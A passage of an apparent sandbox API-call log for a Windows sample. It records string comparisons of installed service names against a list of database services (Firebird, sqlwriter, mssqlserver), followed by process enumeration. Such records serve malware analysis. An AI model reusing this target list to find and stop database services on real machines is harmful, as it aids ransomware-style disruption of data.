lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0052.103] lstrlenW (lpString="Power") returned 5 [0052.103] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0052.103] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0052.103] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0052.104] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0052.104] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0052.104] lstrlenW (lpString="ProfSvc") returned 7 [0052.104] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0052.104] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0052.104] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0052.104] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0052.104] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0052.104] lstrlenW (lpString="RpcEptMapper") returned 12 [0052.104] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0052.104] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0052.104] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0052.104] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0052.104] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0052.104] lstrlenW (lpString="RpcSs") returned 5 [0052.104] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0052.104] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0052.104] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0052.104] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0052.104] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0052.104] lstrlenW (lpString="SamSs") returned 5 [0052.104] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0052.104] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0052.104] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0052.104] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0052.104] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0052.104] lstrlenW (lpString="Schedule") returned 8 [0052.104] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0052.104] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0052.104] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0052.104] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0052.104] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0052.104] lstrlenW (lpString="SecurityHealthService") returned 21 [0052.104] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0052.105] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0052.105] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0052.105] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0052.105] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0052.105] lstrlenW (lpString="SENS") returned 4 [0052.105] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0052.105] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0052.105] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0052.105] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0052.105] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0052.105] lstrlenW (lpString="ShellHWDetection") returned 16 [0052.105] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0052.105] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0052.105] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0052.105] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0052.105] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0052.105] lstrlenW (lpString="Spooler") returned 7 [0052.105] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0052.105] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0052.105] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0052.105] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0052.105] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0052.105] lstrlenW (lpString="SSDPSRV") returned 7 [0052.105] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0052.105] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0052.105] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0052.105] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0052.105] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0052.105] lstrlenW (lpString="StateRepository") returned 15 [0052.105] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0052.105] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0052.105] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0052.105] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0052.105] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0052.106] lstrlenW (lpString="SysMain") returned 7 [0052.106] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0052.106] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0052.106] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0052.106] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0052.106] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x791d58 | out: hHeap=0x6a0000) returned 1 [0052.106] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x318 [0052.606] Process32FirstW (in: hSnapshot=0x318, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0052.607] Process32NextW (in: hSnapshot=0x318, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0052.608] lstrlenW (lpString="System") returned 6 [0052.608] Process32NextW (in: hSnapshot=0x318, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0052.609] lstrlenW (lpString="smss.exe") returned 8 [0052.609] Process32NextW (in: hSnapshot=0x318, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0052.610] lstrlenW (lpString="csrss.exe") returned 9 [0052.610] Process32NextW (in: hSnapshot=0x318, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0052.610] lstrlenW (lpString="wininit.exe") returned 11 [0052.610] Process32NextW (in: hSnapshot=0x318, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0052.611] lstrlenW (lpString="csrss.exe") returned 9 [0052.611] Process32NextW (in: hSnapshot=0x318, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0052.612] lstrlenW (lpString="winlogon.exe") returned 12 [0052.612] Process32NextW (in: hSnapshot=0x318, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0052.613] lstrlenW (lpString="services.exe") returned 12 [0052.613] Process32NextW (in: hSnapshot=0x318, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0052.613] lstrlenW (lpString="lsass.exe") returned 9 [0052.613] Process32NextW (in: hSnapshot=0x318, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0052.614] lstrlenW (lpString="svchost.exe") returned 11 [0052.614] Process32NextW (in: hSnapshot=0x318, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0052.615] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0052.615] Process32NextW (in: hSnapshot=0x318, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0052.616] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0052.616] Process32NextW (in: hSnapshot=0x318, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0052.617] lstrlenW (lpString="svchost.exe") returned 11 [0052.617] Process32NextW (in: hSnapshot=0x318, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0052.617] lstrlenW (lpString="dwm.exe") returned 7 [0052.617] Process32NextW (in: hSnapshot=0x318, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x54, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0052.618] lstrlenW (lpString="svchost.exe") returned 11 [0052.618] Process32NextW (in: hSnapshot=0x318, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0052.619] lstrlenW (lpString="svchost.exe") returned 11 [0052.619] Process32NextW (in: hSnapshot=0x318, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0052.620] lstrlenW (lpString="svchost.exe") returned 11 [0052.620] Process32NextW (in: hSnapshot=0x318, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0052.620] lstrlenW (lpString="svchost.exe") returned 11 [0052.620] Process32NextW (in: hSnapshot=0x318, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0052.621] lstrlenW (lpString="svchost.exe") returned 11 [0052.621] Process32NextW (in: hSnapshot=0x318, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0052.622] lstrlenW (lpString="svchost.exe") returned 11 [0052.622] Process32NextW (in: hSnapshot=0x318, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0052.623] lstrlenW (lpString="svchost.exe") returned 11 [0052.623] Process32NextW (in: hSnapshot=0x318, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0052.623] lstrlenW (lpString="svchost.exe") returned 11 [0052.623] Process32NextW (in: hSnapshot=0x318, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0052.624] lstrlenW (lpString="svchost.exe") returned 11 [0052.624] Process32NextW (in: hSnapshot=0x318, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0052.625] lstrlenW (lpString="spoolsv.exe") returned 11 [0052.625] Process32NextW (in: hSnapshot=0x318, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0052.626] lstrlenW (lpString="svchost.exe") returned 11 [0052.626] Process32NextW (in: hSnapshot=0x318, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0052.626] lstrlenW (lpString="svchost.exe") returned 11 [0052.626] Process32NextW (in: hSnapshot=0x318, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0052.627] lstrlenW (lpString="audiodg.exe") returned 11 [0052.627] Process32NextW (in: hSnapshot=0x318, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0052.628] lstrlenW (lpString="sihost.exe") returned 10 [0052.628] Process32NextW (in: hSnapshot=0x318, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0052.629] lstrlenW (lpString="svchost.exe") returned 11 [0052.629] Process32NextW (in: hSnapshot=0x318, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0052.629] lstrlenW (lpString="taskhostw.exe") returned 13 [0052.629] Process32NextW (in: hSnapshot=0x318, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0052.630] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0052.630] Process32NextW (in: hSnapshot=0x318, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0052.631] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0052.631] Process32NextW (in: hSnapshot=0x318, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0052.632] lstrlenW (lpString="explorer.exe") returned 12 [0052.632] Process32NextW (in: hSnapshot=0x318, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0052.632] lstrlenW (lpString="Memory Compression") returned 18 [0052.632] Process32NextW (in: hSnapshot=0x318, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0052.633] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0052.633] Process32NextW (in: hSnapshot=0x318, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0052.634] lstrlenW (lpString="SearchUI.exe") returned 12 [0052.634] Process32NextW (in: hSnapshot=0x318, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0052.635] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0052.635] Process32NextW (in: hSnapshot=0x318, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0052.635] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0052.635] Process32NextW (in: hSnapshot=0x318, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0052.636] lstrlenW (lpString="taskhostw.exe") returned 13 [0052.636] Process32NextW (in: hSnapshot=0x318, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0052.637] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0052.637] Process32NextW (in: hSnapshot=0x318, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0052.638] lstrlenW (lpString="UsoClient.exe") returned 13 [0052.638] Process32NextW (in: hSnapshot=0x318, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0052.638] lstrlenW (lpString="taskhostw.exe") returned 13 [0052.638] Process32NextW (in: hSnapshot=0x318, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0052.639] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0052.639] Process32NextW (in: hSnapshot=0x318, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0052.640] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0052.640] Process32NextW (in: hSnapshot=0x318, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0052.640] lstrlenW (lpString="msoia.exe") returned 9 [0052.641] Process32NextW (in: hSnapshot=0x318, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0052.641] lstrlenW (lpString="msoia.exe") returned 9 [0052.641] Process32NextW (in: hSnapshot=0x318, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0052.642] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0052.642] Process32NextW (in: hSnapshot=0x318, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver-fireplace.exe")) returned 1 [0052.643] lstrlenW (lpString="screensaver-fireplace.exe") returned 25 [0052.643] Process32NextW (in: hSnapshot=0x318, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="xml-upper.exe")) returned 1 [0052.643] lstrlenW (lpString="xml-upper.exe") returned 13 [0052.643] Process32NextW (in: hSnapshot=0x318, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="defeat preston.exe")) returned 1 [0052.644] lstrlenW (lpString="defeat preston.exe") returned 18 [0052.644] Process32NextW (in: hSnapshot=0x318, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="surveillance.exe")) returned 1 [0053.164] lstrlenW (lpString="surveillance.exe") returned 16 [0053.164] Process32NextW (in: hSnapshot=0x318, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="meanwhile-legends.exe")) returned 1 [0053.165] lstrlenW (lpString="meanwhile-legends.exe") returned 21 [0053.165] Process32NextW (in: hSnapshot=0x318, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="deemed.exe")) returned 1 [0053.166] lstrlenW (lpString="deemed.exe") returned 10 [0053.166] Process32NextW (in: hSnapshot=0x318, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="scored-prices.exe")) returned 1 [0053.166] lstrlenW (lpString="scored-prices.exe") returned 17 